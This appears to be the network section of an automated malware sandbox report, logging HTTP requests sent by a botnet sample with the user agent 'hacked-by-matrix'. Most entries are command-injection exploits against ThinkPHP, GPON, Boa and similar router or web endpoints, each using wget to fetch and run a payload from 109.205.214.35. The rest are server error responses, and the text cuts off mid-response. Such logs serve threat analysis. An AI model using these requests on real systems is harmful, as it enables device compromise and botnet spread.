Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix

Source: unknown

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: hacked-by-matrixAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/htmlCache-Control: no-cache, no-storeConnection: closeContent-Length: 689X-Iinfo: 11-71192399-0 0NNN RT(1710994631998 0) q(0 -1 -1 -1) r(0 -1)Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 35 26 78 69 6e 66 6f 3d 31 31 2d 37 31 31 39 32 33 39 39 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 37 31 30 39 39 34 36 33 31 39 39 38 25 32 30 30 25 32 39 25 32 30 71 25 32 38 30 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 33 34 33 31 32 34 39 31 31 35 36 34 37 39 32 30 37 35 26 65 64 65 74 3d 32 32 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 50 4f 53 54 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 33 34 33 31 32 34 39 31 31 35 36 34 37 39 32 30 37 35 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=5&xinfo=11-71192399-0%200NNN%20RT%281710994631998%200%29%20q%280%20-1%20-1%20-1%29%20r%280%20-1%29&incident_id=0-343124911564792075&edet=22&cinfo=ffffffff&rpinfo=0&mth=POST" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-343124911564792075</iframe></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 04:17:13 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 04:17:13 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 04:17:15 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:17:16 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:17:16 GMTServer: Apache/2.2.15 (CentOS)Content-Length: 292Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 